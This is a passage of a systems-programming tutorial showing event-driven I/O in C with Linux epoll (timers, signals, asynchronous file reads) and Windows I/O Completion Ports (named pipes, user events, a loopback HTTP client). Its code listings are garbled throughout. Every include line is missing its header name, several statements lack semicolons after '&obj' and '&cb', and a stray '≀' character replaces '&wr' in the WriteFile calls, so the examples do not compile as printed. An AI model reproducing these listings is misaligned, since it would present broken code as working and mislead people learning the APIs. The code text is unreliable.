/* Kernel Queue The Complete Guide: epoll-timer.c: System timer events */
#include
#include
#include
#include
#include
#include
int kq;
int tfd;
struct context {
void (\*handler)(struct context \*obj);
};
void timer\_handler(struct context \*obj)
{
static int n;
printf("Received timerfd event via epoll: %d\n", n++);
unsigned long long val;
read(tfd, &val, 8);
}
void main()
{
// create kqueue object
kq = epoll\_create(1);
assert(kq != -1);
struct context obj = {};
obj.handler = timer\_handler;
// prepare timerfd-descriptor
tfd = timerfd\_create(CLOCK\_MONOTONIC, 0);
assert(tfd != -1);
// register timerfd in KQ
struct epoll\_event event;
event.events = EPOLLIN | EPOLLET;
event.data.ptr = &obj
assert(0 == epoll\_ctl(kq, EPOLL\_CTL\_ADD, tfd, &event));
// start periodic timer
struct itimerspec its;
its.it\_value.tv\_sec = 1;
its.it\_value.tv\_nsec = 0;
its.it\_interval = its.it\_value;
assert(0 == timerfd\_settime(tfd, 0, &its, NULL));
for (;;) {
struct epoll\_event events[1];
int timeout\_ms = -1;
int n = epoll\_wait(kq, events, 1, timeout\_ms);
assert(n > 0);
struct context \*o = events[0].data.ptr;
if (events[0].events & (EPOLLIN | EPOLLERR))
o->handler(o); // handle timerfd event
}
close(tfd); // close timerfd descriptor
close(kq);
}
```
To create a timerfd object we call `timerfd_create()` with `CLOCK_MONOTONIC` parameter which means the timer isn't affected by system time/date changes.
```
tfd = timerfd_create(CLOCK_MONOTONIC, 0);
```
To start a periodic timer, we set `struct itimerspec.it_interval` field which defines the timer interval.
```
// start periodict timer
struct itimerspec its;
its.it_value.tv_sec = 1;
its.it_value.tv_nsec = 0;
its.it_interval = its.it_value;
timerfd_settime(tfd, 0, &its, NULL);
```
After we have received the timer event we always need to read the data from timerfd descriptor, otherwise we won't get any more events from KQ because we use `EPOLLET` flag.
```
unsigned long long val;
read(tfd, &val, 8);
```
To create a **one-shot timer**, we set `struct itimerspec.it_interval` fields to `0`:
```
// start one-shot timer
struct itimerspec its;
its.it_value.tv_sec = 1;
its.it_value.tv_nsec = 0;
its.it_interval.tv_sec = its.it_interval.tv_nsec = 0;
timerfd_settime(tfd, 0, &its, NULL);
```
#### UNIX signals from epoll
We can also receive UNIX signals with epoll. We must use a signalfd descriptor to be able to do that. To get the information about the UNIX signal we receive, we read some data from this signalfd object.
```
/* Kernel Queue The Complete Guide: epoll-signal.c: UNIX signal handler
Usage:
$ ./epoll-signal
$ killall -SIGUSR1 epoll-signal
*/
#include
#include
#include
#include
#include
#include
int kq;
int sfd;
struct context {
void (\*handler)(struct context \*obj);
};
void unix\_signal\_handler(struct context \*obj)
{
struct signalfd\_siginfo si;
int r = read(sfd, &si, sizeof(si));
assert(r == sizeof(si));
int sig = si.ssi\_signo;
printf("Received UNIX signal via epoll: %d\n", sig);
}
void main()
{
// create kqueue object
kq = epoll\_create(1);
assert(kq != -1);
struct context obj = {};
obj.handler = unix\_signal\_handler;
// block default signal handler
int sig = SIGUSR1;
sigset\_t mask;
sigemptyset(&mask);
sigaddset(&mask, sig);
sigprocmask(SIG\_BLOCK, &mask, NULL);
// prepare signalfd-descriptor
sfd = signalfd(-1, &mask, SFD\_NONBLOCK);
assert(sfd != -1);
// register signalfd in KQ
struct epoll\_event event;
event.events = EPOLLIN | EPOLLET;
event.data.ptr = &obj
assert(0 == epoll\_ctl(kq, EPOLL\_CTL\_ADD, sfd, &event));
struct epoll\_event events[1];
int timeout\_ms = -1;
int n = epoll\_wait(kq, events, 1, timeout\_ms);
assert(n > 0);
struct context \*o = events[0].data.ptr;
if (events[0].events & (EPOLLIN | EPOLLERR))
o->handler(o); // handle signalfd event
close(sfd); // close signalfd descriptor
close(kq);
}
```
We create a signalfd object by calling `signalfd()`.
```
sfd = signalfd(-1, &mask, SFD_NONBLOCK);
```
As with timerfd object, we also need to read from signalfd descriptor otherwise we won't get more events from KQ. But another reason why we need this is we want to know which signal has fired. We do it by reading `struct signalfd_siginfo` data from signalfd object and then reading `struct signalfd_siginfo.ssi_signo` field that contains UNIX signal number.
```
struct signalfd_siginfo si;
read(sfd, &si, sizeof(si));
int sig = si.ssi_signo;
```
#### Asynchronous file I/O with epoll
It's even harder to work with files asynchronously when using epoll compared to the file AIO API we used earlier with kqueue. First of all, there's the requirement to use `O_DIRECT` flag when opening a file descriptor if we want it to support asynchronous operations. This flag alone creates 2 new restrictions for us: we must implement our own data caching mechanism and we must use buffers aligned to disk block size. We solve the first problem by not solving it - in our example we don't implement any data caching here. However, in the real life our performance may be very poor without it. Linux kernel has a very good disk data caching mechanism and it's a shame when we can't use it. In general, this means that there are not so many use-cases for using file AIO on Linux. The second restriction which is the requirement of using aligned buffers is just inconvenient, but at least we can handle it. We can't use a normal buffer pointer allocated by `malloc()` - we must use a pointer aligned to disk block size (in our example we use `posix_memalign()` function which returns an aligned pointer). Furthermore, we can't read or write an arbitrary amount of data, say, 1000 bytes, neither we can use an arbitrary file offset - we must also use an aligned number.
Another inconvenient thing is that GLIBC still doesn't have the wrappers for the syscalls we need to use here. We solve this problem by writing our own wrappers. It isn't hard, but just inconvenient. *Does this mean that only some crazy people use this functionality on Linux?*
The file AIO API on Linux sometimes looks similar to what we were using on FreeBSD (at least, submitting a new operation looks similar). However, the signal delivery mechanism is completely different. It uses eventfd descriptor we are already familiar with to notify us about that AIO subsystem has signalled. We then receive events from AIO and process the results of our operations. Though there's nothing here too hard to implement, the whole code just looks a little bit overcomplex and ugly. There are too many things we must control here, so the use of convenient wrappers is absolutely required in real life code.
OK, let's see the example already, or else I won't stop complaining how bad all this is.
```
/* Kernel Queue The Complete Guide: epoll-file.c: Asynchronous file reading
Usage:
$ echo 'Hello file AIO' >./epoll-file.txt
$ ./epoll-file
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int kq;
int efd;
aio\_context\_t aioctx;
struct context {
struct iocb acb;
int (\*handler)(struct context \*obj);
};
void file\_io\_result(const char \*via, int res)
{
printf("Read from file via %s: %d\n", via, res);
}
// GLIBC doesn't have wrappers for these syscalls, so we make our own wrappers
static inline int io\_setup(unsigned nr\_events, aio\_context\_t \*ctx\_idp)
{
return syscall(SYS\_io\_setup, nr\_events, ctx\_idp);
}
static inline int io\_destroy(aio\_context\_t ctx\_id)
{
return syscall(SYS\_io\_destroy, ctx\_id);
}
static inline int io\_submit(aio\_context\_t ctx\_id, long nr, struct iocb \*\*iocbpp)
{
return syscall(SYS\_io\_submit, ctx\_id, nr, iocbpp);
}
static inline int io\_getevents(aio\_context\_t ctx\_id, long min\_nr, long nr, struct io\_event \*events, struct timespec \*timeout)
{
return syscall(SYS\_io\_getevents, ctx\_id, min\_nr, nr, events, timeout);
}
int file\_aio\_handler(struct context \*obj)
{
unsigned long long n;
for (;;) {
int r = read(efd, &n, 8);
if (r < 0 && errno == EAGAIN)
break;
assert(r == 8);
// we've got `n` unprocessed events from file AIO
for (;;) {
struct io\_event events[64];
struct timespec timeout = {};
r = io\_getevents(aioctx, 1, 64, events, &timeout);
if (r < 0 && errno == EINTR) {
continue; // interrupted due to UNIX signal
} else if (r == 0) {
break; // no more events
}
assert(r > 0);
// process result value for each event
for (int i = 0; i != r; i++) {
struct context \*obj = (void\*)(size\_t)events[i].data;
int result = events[i].res;
if (result < 0) {
errno = -result;
result = -1;
}
file\_io\_result("epoll", result);
}
}
}
return 1;
}
void main()
{
// create KQ object
kq = epoll\_create(1);
assert(kq != -1);
// prepare the associated object
struct context obj = {};
obj.handler = file\_aio\_handler;
// open file descriptor, O\_DIRECT is mandatory
int fd = open("./epoll-file.txt", O\_DIRECT | O\_RDONLY, 0);
assert(fd != -1);
// initialize file AIO subsystem
int aio\_workers = 64;
assert(0 == io\_setup(aio\_workers, &aioctx));
// open eventfd descriptor which will pass signals from file AIO
efd = eventfd(0, EFD\_NONBLOCK);
assert(efd != -1);
// attach eventfd to KQ
struct epoll\_event event;
event.events = EPOLLIN | EPOLLET;
event.data.ptr = &obj
assert(0 == epoll\_ctl(kq, EPOLL\_CTL\_ADD, efd, &event));
// associate the AIO operation with KQ and user object pointer
memset(&obj.acb, 0, sizeof(obj.acb));
obj.acb.aio\_data = (size\_t)&obj
obj.acb.aio\_flags = IOCB\_FLAG\_RESFD;
obj.acb.aio\_resfd = efd;
void \*buf;
assert(0 == posix\_memalign(&buf, 512, 4\*1024)); // allocate 4k buffer aligned by 512
// specify operation parameters
obj.acb.aio\_fildes = fd;
obj.acb.aio\_buf = (size\_t)buf; // destination buffer
obj.acb.aio\_nbytes = 4\*1024; // max number of bytes to read
obj.acb.aio\_offset = 0; // offset to begin reading at
// begin file AIO operation
obj.acb.aio\_lio\_opcode = IOCB\_CMD\_PREAD;
struct iocb \*cb = &obj.acb
if (1 != io\_submit(aioctx, 1, &cb)) {
if (errno == EAGAIN || errno == ENOSYS) {
// no resources to complete this I/O operation
// or the system can't perform AIO on this file
} else {
file\_io\_result("io\_submit", -1);
return; // fatal error
}
// AIO doesn't work - perform synchronous reading at the specified offset
int r = pread(fd, buf, obj.acb.aio\_nbytes, obj.acb.aio\_offset);
file\_io\_result("pread", r);
return;
}
// asynchronous file reading is in progress, now wait for the signal from KQ
struct epoll\_event events[1];
int timeout\_ms = -1; // wait indefinitely
int n = epoll\_wait(kq, events, 1, timeout\_ms);
struct context \*o = events[0].data.ptr;
if (events[0].events & (EPOLLIN | EPOLLERR)) {
o->handler(o); // handle file AIO event via eventfd
}
free(buf);
close(fd);
io\_destroy(aioctx);
close(kq);
}
```
First, we initialize AIO subsystem by calling `io_setup()` which returns a pointer to AIO context. We specify how many I/O workers the system should allocate for us. I don't have any good advice for you on how many workers you should allocate - the official documentation is very short - so I just use `64` for this example.
```
aio_context_t aioctx;
int aio_workers = 64;
io_setup(aio_workers, &aioctx);
```
We need an object of type `struct iocb` which will define the operation we want to perform. We start filling it by specifiyng how it should signal us about its completion. Here we order it to notify us via eventfd descriptor.
```
struct iocb acb = {};
acb.aio_data = (size_t)obj; // user object pointer
acb.aio_flags = IOCB_FLAG_RESFD;
acb.aio_resfd = efd; // eventfd descriptor
```
Then we set the details on our operation: which file descriptor to use, where to put the data and so on.
```
acb.aio_fildes = fd;
acb.aio_buf = (size_t)buf; // destination buffer
acb.aio_nbytes = 4*1024; // max number of bytes to read
acb.aio_offset = 0; // offset to begin reading at
```
Finally, we call the `io_submit()` function which will begin reading from a file and signal us via eventfd on completion.
```
acb.aio_lio_opcode = IOCB_CMD_PREAD;
struct iocb *cb = &acb
io_submit(aioctx, 1, &cb);
```
Just like on FreeBSD, we also must check for error codes here on Linux and be ready to perform our I/O operation synchronously if we need to.
```
if (1 != io_submit(aioctx, 1, &cb)) {
if (errno == EAGAIN || errno == ENOSYS) {
// no resources to complete this I/O operation
// or the system can't perform AIO on this file
} else {
file_io_result(-1);
return; // fatal error
}
// AIO doesn't work - perform synchronous reading at the specified offset
int r = pread(fd, buf, size, offset);
file_io_result(r);
return;
}
```
When we receive a signal from epoll for our eventfd we've associated the file AIO operation with, we ask AIO about which operations are complete using `io_getevents()` function. It returns the number of completed operations and fills our array of `struct io_event` from where we can determine the results of each operation. Timeout value defines how long the function can block, but we don't want it to block at all, obviously, so we use a zero timeout value.
```
struct io_event events[64];
struct timespec timeout = {};
n = io_getevents(aioctx, 1, 64, events, &timeout);
```
And lastly, we process each event, get the user object associated with it by reading `struct io_event.data` field and the result of operation from `struct io_event.res` field. The result is the number of bytes read or written, but in case an error has occurred, this value is negative and contains the error code.
```
struct context *obj = (void*)(size_t)events[i].data;
int result = events[i].res;
if (result < 0) {
errno = -result;
result = -1;
}
```
> Once again I'm gonna say that this whole system has a poor design and it may be better to use a thread-pool mechanism which performs file operations synchronously. A good file AIO system must have more configuration options such as how many workers should be used for each physical disk. And it shouldn't have restrictions such as buffer alignment. And it shouldn't force the user to disable in-kernel caching for a file descriptor. And it should support more file functions including `open()` and `fstat()`. But I think the main point is that the code for using file AIO should look similar to what we have with KQ and network sockets. That is, we want an API which allows us to perform a simple operation such as reading a 64k byte chunk from a file, and *if it can't complete immediately*, it should just return with `EINPROGRESS`. This function should also start a new background operation internally which will read at least 1 block of data from our file (GLIBC could handle that). Then we should receive a signal from KQ which tells us that now we may try again. And again we call *the same code* but now it returns, say, 4k bytes to us - and even so it isn't 64k we asked for, it is still fine, because we can start processing this data immediately. This is a very straightforward approach that works very well with sockets (except the poorly designed `connect()+EINPROGRESS+getsockopt()` logic). I just wish the file functions could work this way too. But I guess that since it isn't still implemented, no one needs this functionality, that's all.
>
>
### Windows and I/O Completion Ports
So are you ready for some more programming? I have to warn you that IOCP may be a little bit harder to use and understand. But even if you don't plan to use IOCP on Windows in the near future, I recommend you to at least walk through all these code samples just to learn and remember **how not to design a KQ API**. A bad example is still an example. I'm also very surprised to see that some developers even try to mimic the behaviour of IOCP in their own KQ/AIO libraries. They think that the API design of pending asynchronous operations that forces the user to have long living locked context data and buffer memory regions is better than the mechanism of simple and plain event signalling? Maybe for someone, but not for me. To prove my point, just see how the code for kqueue looks comparing to the same code for IOCP and judge for yourselves. But first, let's start with a minimal example which surprisingly looks quite clear, because we use pipes and not network sockets.
#### Accepting connections to a named pipe with IOCP
```
/* Kernel Queue The Complete Guide: iocp-pipe.c: Accept connections to a named pipe */
#include
#include
#include
HANDLE kq;
struct context {
HANDLE p;
void (\*handler)(struct context \*obj);
OVERLAPPED accept\_ctx;
};
void pipe\_handler(struct context \*obj)
{
printf("Accepted pipe connection via IOCP\n");
}
void main()
{
// create KQ object
kq = CreateIoCompletionPort(INVALID\_HANDLE\_VALUE, NULL, 0, 0);
assert(kq != NULL);
struct context obj = {};
obj.handler = pipe\_handler;
// create a named pipe
obj.p = CreateNamedPipeW(L"\\\\.\\pipe\\iocp-pipe"
, PIPE\_ACCESS\_DUPLEX | FILE\_FLAG\_FIRST\_PIPE\_INSTANCE | FILE\_FLAG\_OVERLAPPED
, PIPE\_TYPE\_BYTE | PIPE\_READMODE\_BYTE | PIPE\_WAIT
, PIPE\_UNLIMITED\_INSTANCES, 512, 512, 0, NULL);
assert(obj.p != INVALID\_HANDLE\_VALUE);
// attach pipe to KQ
assert(NULL != CreateIoCompletionPort(obj.p, kq, (ULONG\_PTR)&obj, 0));
memset(&obj.accept\_ctx, 0, sizeof(obj.accept\_ctx));
BOOL ok = ConnectNamedPipe(obj.p, &obj.accept\_ctx);
assert(ok || GetLastError() == ERROR\_IO\_PENDING);
// wait for incoming events from KQ and process them
for (;;) {
OVERLAPPED\_ENTRY events[1];
ULONG n = 0;
int timeout\_ms = -1; // wait indefinitely
BOOL ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout\_ms, 0);
assert(ok);
// now process each signalled event
for (int i = 0; i != (int)n; i++) {
struct context \*o = (void\*)events[i].lpCompletionKey;
o->handler(o); // handle event
}
}
DisconnectNamedPipe(obj.p); // close accepted pipe
CloseHandle(obj.p); // close listening pipe
CloseHandle(kq);
}
```
Note that some functions that return `HANDLE` type value on Windows return `NULL` on error while others return `INVALID_HANDLE_VALUE`. It's a typical design flaw from Microsoft.
#### Creating and closing IOCP object
To create a new KQ object we call `CreateIoCompletionPort()` function and we pass `INVALID_HANDLE_VALUE` as the first parameter and `NULL` as the second, which means that we want to create a new KQ object and not use the already existing object. Remember that it returns `NULL` on error and not `INVALID_HANDLE_VALUE`. We close this object with `CloseHandle()` as usual.
```
HANDLE kq = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
...
CloseHandle(kq);
```
#### Attaching file descriptor to IOCP
To attach a file or socket descriptor to KQ we call the same function `CreateIoCompletionPort()` and pass file descriptor, KQ object and a user object pointer. Remember that the function name is deceiving in this case: it doesn't create a new "completion port" but only registers the file descriptor with it. And we must not close the file descriptor it returns - we only check if it's `NULL`, which means error. When registering a socket descriptor rather than a file, an explicit cast to `HANDLE` is required, because `SOCKET != HANDLE`, even though they are essentially of the same pointer type and can be safely cast to `void*`. Also, a cast to `ULONG_PTR` is required when passing a user object pointer, because `ULONG_PTR != void*`.
```
CreateIoCompletionPort(fd, kq, (ULONG_PTR)obj, 0); // attach file to KQ
CreateIoCompletionPort((HANDLE)sk, kq, (ULONG_PTR)obj, 0); // attach socket to KQ
```
#### Receiving events from IOCP
The new function for waiting and receiving events from IOCP is `GetQueuedCompletionStatusEx()` which is available since Windows 7. Older Windows versions don't have this function, so we must use `GetQueuedCompletionStatus()` there. I don't think it will benefit this article to resurrect old Windows, so we don't talk about old functions here. Thankfully, `GetQueuedCompletionStatusEx()` works exactly the same as in kqueue or epoll - we pass KQ object, array of events and timeout value for how long the function may block. It returns 1 on success and sets the number of signalled events.
```
OVERLAPPED_ENTRY events[1];
ULONG n = 0;
int timeout_ms = -1; // wait indefinitely
BOOL ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout_ms, 0);
```
#### Processing received events from IOCP
Now for each received event we read our object pointer from `OVERLAPPED_ENTRY.lpCompletionKey` field. Then we determine which event has signalled by reading `OVERLAPPED_ENTRY.lpOverlapped` field and comparing it with the appropriate `OVERLAPPED` object we use for our read and write operations.
```
struct context *o = events[i].lpCompletionKey;
if (events[i].lpOverlapped == &o->read_context)
// handle read event
else if (events[i].lpOverlapped == &o->write_context)
// handle write event
```
> I could never understand why the context objects for active I/O operations are called overlapped objects/events in Windows. And I still can't comprehend this idea - what overlaps with what here exactly?
>
>
#### User-triggered events with IOCP
Let's see how we can post a user event to KQ.
```
/* Kernel Queue The Complete Guide: iocp-user.c: User-triggered events */
#include
#include
#include
HANDLE kq;
struct context {
void (\*handler)(struct context \*obj);
};
void user\_event\_handler(struct context \*obj)
{
printf("Received user event via IOCP\n");
}
void main()
{
// create KQ object
kq = CreateIoCompletionPort(INVALID\_HANDLE\_VALUE, NULL, 0, 0);
assert(kq != NULL);
struct context obj = {};
obj.handler = user\_event\_handler;
assert(0 != PostQueuedCompletionStatus(kq, 0, (ULONG\_PTR)&obj, NULL));
// wait for incoming events from KQ and process them
OVERLAPPED\_ENTRY events[1];
ULONG n = 0;
int timeout\_ms = -1; // wait indefinitely
BOOL ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout\_ms, 0);
assert(ok);
assert(n == 1);
struct context \*o = (void\*)events[0].lpCompletionKey;
o->handler(o); // handle the event
CloseHandle(kq);
}
```
There's no need to register or prepare a user event as in kqueue or epoll. We just trigger the event at any time by calling `PostQueuedCompletionStatus()` and we pass any user object pointer to it.
```
PostQueuedCompletionStatus(kq, 0, (ULONG_PTR)obj, NULL);
```
#### Establishing TCP connection with IOCP
Now that we start talking about sockets in Windows, you can finally see the whole picture of how difficult it is. There are many things that seem unnecessary and overcomplicated, and the code looks ugly and bloated. Here's the code for our HTTP/1 client.
```
/* Kernel Queue The Complete Guide: iocp-connect.c: HTTP/1 client
Link with -lws2_32
*/
#include
#include
#include
#include
#include
HANDLE kq;
int quit;
LPFN\_CONNECTEX KQConnectEx;
// the structure associated with a socket descriptor
struct context {
SOCKET sk;
void (\*rhandler)(struct context \*obj);
void (\*whandler)(struct context \*obj);
OVERLAPPED read\_ctx;
OVERLAPPED write\_ctx;
char sendbuf[1];
int data\_offset;
};
// some forward declarations
void obj\_write(struct context \*obj);
void obj\_read(struct context \*obj);
void obj\_prepare(struct context \*obj)
{
// create and prepare socket
obj->sk = socket(AF\_INET, SOCK\_STREAM, 0);
assert(obj->sk != INVALID\_SOCKET);
// make socket as non-blocking
int nonblock = 1;
ioctlsocket(obj->sk, FIONBIO, (unsigned long\*)&nonblock);
int val = 1;
assert(0 == setsockopt(obj->sk, 0, TCP\_NODELAY, (char\*)&val, sizeof(int)));
// attach socket to KQ
assert(NULL != CreateIoCompletionPort((HANDLE)obj->sk, kq, (ULONG\_PTR)obj, 0));
// get extended socket function pointers
void \*func = NULL;
DWORD res;
GUID guid = WSAID\_CONNECTEX;
WSAIoctl(obj->sk, SIO\_GET\_EXTENSION\_FUNCTION\_POINTER, (void\*)&guid, sizeof(GUID), &func, sizeof(void\*), &res, 0, 0);
KQConnectEx = func;
assert(KQConnectEx != NULL);
}
void obj\_connect(struct context \*obj)
{
if (obj->whandler == NULL) {
struct sockaddr\_in baddr = {};
baddr.sin\_family = AF\_INET;
char ip4[] = {127,0,0,1};
\*(int\*)&baddr.sin\_addr = \*(int\*)ip4;
assert(0 == bind(obj->sk, (struct sockaddr\*)&baddr, sizeof(struct sockaddr\_in)));
// begin asynchronous connection
struct sockaddr\_in addr = {};
addr.sin\_family = AF\_INET;
addr.sin\_port = ntohs(64000);
\*(int\*)&addr.sin\_addr = \*(int\*)ip4;
BOOL ok = KQConnectEx(obj->sk, (struct sockaddr\*)&addr, sizeof(struct sockaddr\_in), NULL, 0, NULL, &obj->write\_ctx);
assert(ok || GetLastError() == ERROR\_IO\_PENDING);
obj->whandler = obj\_connect;
return;
} else {
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->write\_ctx, &res, 0);
assert(ok);
}
printf("Connected\n");
obj\_write(obj);
}
void obj\_write(struct context \*obj)
{
const char data[] = "GET / HTTP/1.1\r\nHost: hostname\r\nConnection: close\r\n\r\n";
int r;
if (obj->whandler == NULL) {
r = send(obj->sk, data + obj->data\_offset, sizeof(data)-1 - obj->data\_offset, 0);
if (r > 0) {
// sent some data
} else if (r < 0 && GetLastError() == WSAEWOULDBLOCK) {
// the socket's write buffer is full
memset(&obj->write\_ctx, 0, sizeof(obj->write\_ctx));
obj->sendbuf[0] = data[obj->data\_offset];
DWORD wr;
BOOL ok = WriteFile((HANDLE)obj->sk, obj->sendbuf, 1, ≀, &obj->write\_ctx);
assert(ok || GetLastError() == ERROR\_IO\_PENDING);
obj->whandler = obj\_write;
return;
} else {
assert(0); // fatal error
}
} else {
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->write\_ctx, &res, 0);
assert(ok);
r = res;
obj->whandler = NULL;
}
// sent some data
obj->data\_offset += r;
if (obj->data\_offset != sizeof(data)-1) {
// we need to send the complete request
obj\_write(obj);
return;
}
printf("Sent HTTP request. Receiving HTTP response...\n");
obj\_read(obj);
}
void obj\_read(struct context \*obj)
{
char data[64\*1024];
if (obj->rhandler == NULL) {
int r = recv(obj->sk, data, sizeof(data), 0);
if (r > 0) {
// received some data
printf("%.\*s", r, data);
obj\_read(obj);
return;
} else if (r == 0) {
// server has finished sending data
} else if (r < 0 && GetLastError() == WSAEWOULDBLOCK) {
// the socket's read buffer is empty
memset(&obj->read\_ctx, 0, sizeof(obj->read\_ctx));
DWORD rd;
BOOL ok = ReadFile((HANDLE)obj->sk, NULL, 0, &rd, &obj->read\_ctx);
assert(ok || GetLastError() == ERROR\_IO\_PENDING);
obj->rhandler = obj\_read;
return;
} else {
assert(0); // fatal error
}
} else {
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->read\_ctx, &res, 0);
assert(ok);
obj->rhandler = NULL;
obj\_read(obj);
return;
}
quit = 1;
}
void main()
{
// initialize sockets
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// create KQ object
kq = CreateIoCompletionPort(INVALID\_HANDLE\_VALUE, NULL, 0, 0);
assert(kq != NULL);
struct context obj = {};
obj\_prepare(&obj);
obj\_connect(&obj);
// wait for incoming events from KQ and process them
while (!quit) {
OVERLAPPED\_ENTRY events[1];
ULONG n = 0;
int timeout\_ms = -1; // wait indefinitely
BOOL ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout\_ms, 0);
assert(ok);
assert(n == 1);
// now process each signalled event
for (int i = 0; i != n; i++) {
struct context \*o = (void\*)events[i].lpCompletionKey;
if (events[i].lpOverlapped == &o->read\_ctx)
o->rhandler(o); // handle read event
else if (events[i].lpOverlapped == &o->write\_ctx)
o->whandler(o); // handle connect/write event
}
}
closesocket(obj.sk);
CloseHandle(kq);
}
```
When we're dealing with sockets on Windows, the first thing we need to do is initialize socket subsystem. We do it by calling `WSAStartup()` function as following:
```
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
```
There are several Windows-specific socket functions that can be used for KQ, but they are not exported by any `.dll` library, so we must get their pointers at runtime using this method:
```
void *func = NULL;
DWORD b;
GUID guid = WSAID_CONNECTEX;
WSAIoctl(sk, SIO_GET_EXTENSION_FUNCTION_POINTER, (void*)&guid, sizeof(GUID), &func, sizeof(void*), &b, 0, 0);
LPFN_CONNECTEX KQConnectEx = func;
```
Here, `WSAID_CONNECTEX` is a predefined GUID value (array of bytes, to be specific). We pass it to `WSAIoctl()` function along with the valid socket descriptor to get the real function pointer, in our case `ConnectEx()` - the function that asynchronously initiates a new TCP connection.
In order for `ConnectEx()` to work, we must first bind our socket to a local address:
```
struct sockaddr_in addr = {};
addr.sin_family = AF_INET;
char ip4[] = {127,0,0,1};
*(int*)&addr.sin_addr = *(int*)ip4;
bind(obj->sk, (struct sockaddr*)&addr, sizeof(struct sockaddr_in));
```
In this example we bind to 127.0.0.1 because we initiate connection to the loopback interface.
And then we can call the function and pass to it remote address and the `OVERLAPPED` object which of course must stay valid until the operation completes.
```
addr = ...;
KQConnectEx(sk, (struct sockaddr*)&addr, sizeof(struct sockaddr_in), NULL, 0, NULL, &obj->write_ctx);
```
When IOCP signals about the completion of operation, we get the result with `GetOverlappedResult()`. Normally it sets the number of transferred bytes upon return, but in our case the number will be 0.
```
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->write_ctx, &res, 0);
```
#### Writing data to a TCP socket with IOCP
After the connection is established, we send the request data to server. And this block of code looks worse than with kqueue or epoll where we just try to read or write some data and return when the functions can't fulfil our request. It's not that easy with IOCP, because here we must initiate an ongoing I/O operation to make IOCP signal us when the state of our socket changes. These are the steps of the write-data algorithm:
1. The first thing to do is to check whether we already have a result from the previously initiated WRITE operation - we do it simply by checking the WRITE event handling function `whandler`.
2. On the first entry the function pointer is unset, so we enter the first branch and try to send some data using common `send()` function. Unlike on UNIX it doesn't return with `EAGAIN` error code if it can't complete the request immediately, but on Windows it returns with `WSAEWOULDBLOCK`.
3. Here's where the things get more interesting. Now we need to emulate the algorithm we have on UNIX to make IOCP signal us when the kernel is ready to accept some more data from us for this socket, but we can't do it exactly the UNIX-way. The solution is that we start an asynchronous WRITE operation which will send just 1 byte for us. It also means that the next time we are back in our function, `send()` will be able to copy some more data from us.
Why do we send just 1 byte via asynchronous operation and not the whole data we have for sending? Because the IOCP won't signal us at all until the whole data is sent. If the request is quite large, it's more likely that we'll hit our own timer signal which will kill the connection (we would think that it's stalled). That's why we send only 1 byte this way - it's much more flexible and it effectively emulates UNIX behaviour (which is canonical asynchronous I/O via KQ in my opinion). However, if you think you can benefit from sending larger chunk - go ahead and do it. Anyway, to send some data asynchronously we call `WriteFile()` and pass to it the data to send along with the `OVERLAPPED` object. Needless to say that the data buffer associated with the operation must stay valid until its completion.
4. Another interesting moment about asynchronous I/O with IOCP is that it seems like it always tries to deceive me. In our case, `WriteFile()` function may return `1` or it may return `0` with `ERROR_IO_PENDING` error, but in fact it's all the same to me. In the first case it says it has completed immediately, while in the second case it says it can't complete immediately. But in both cases IOCP will fire a signal anyway. I don't like the idea of increasing the complexity of my code while trying to support both cases correctly, therefore I just support 1 case - start an asynchronous operation then wait for its completion. Even if it's completed already - I still wait for the explicit signal. It's likely that you can adapt your own code to support both cases and save some context-switches and latency - I encourage you to try.
5. Now, the final step is handling the result from the previously initiated operation. We enter the `else` branch in this case and call `GetOverlappedResult()` with the same `OVERLAPPED` object. It returns the result of the operation and sets the number of bytes sent which is always 1 in our case.
```
if (obj->whandler == NULL) {
r = send(obj->sk, data + obj->data_offset, sizeof(data)-1 - obj->data_offset, 0);
if (r > 0) {
// sent some data
} else if (r < 0 && GetLastError() == WSAEWOULDBLOCK) {
// the socket's write buffer is full
memset(&obj->write_ctx, 0, sizeof(obj->write_ctx));
obj->sendbuf[0] = data[obj->data_offset];
DWORD wr;
BOOL ok = WriteFile((HANDLE)obj->sk, obj->sendbuf, 1, ≀, &obj->write_ctx);
assert(ok || GetLastError() == ERROR_IO_PENDING);
obj->whandler = obj_write;
return;
} else {
assert(0); // fatal error
}
} else {
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->write_ctx, &res, 0);
assert(ok);
r = res;
obj->whandler = NULL;
}
```
#### Reading data from a TCP socket with IOCP
Reading data is very similar to writing the data - the process I described above. However, unlike what we did earlier with sending 1 byte of data to emulate UNIX behaviour, here we may achieve the exact UNIX behaviour by initiating an operation which reads 0 bytes. When we do so, IOCP will signal us at the moment the socket buffer becomes non-empty, and we can then read some data from it with `recv()`. I like this behaviour from IOCP very much - I wish everything in IOCP would work this way.
```
if (obj->rhandler == NULL) {
int r = recv(obj->sk, data, sizeof(data), 0);
if (r > 0) {
// received some data
printf("%.*s", r, data);
obj_read(obj);
return;
} else if (r == 0) {
// server has finished sending data
} else if (r < 0 && GetLastError() == WSAEWOULDBLOCK) {
// the socket's read buffer is empty
memset(&obj->read_ctx, 0, sizeof(obj->read_ctx));
DWORD rd;
BOOL ok = ReadFile((HANDLE)obj->sk, NULL, 0, &rd, &obj->read_ctx);
assert(ok || GetLastError() == ERROR_IO_PENDING);
obj->rhandler = obj_read;
return;
} else {
assert(0); // fatal error
}
} else {
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->read_ctx, &res, 0);
assert(ok);
obj->rhandler = NULL;
obj_read(obj);
return;
}
```
Note that I call our `obj_read()` function again after receiving some data or after processing the event - I just think it looks clearer this way than a loop, although I don't recommend doing so in real life code, because there's a small possibility to crash the app with stack memory overuse.
#### Reading and writing data from/to a UDP socket with IOCP
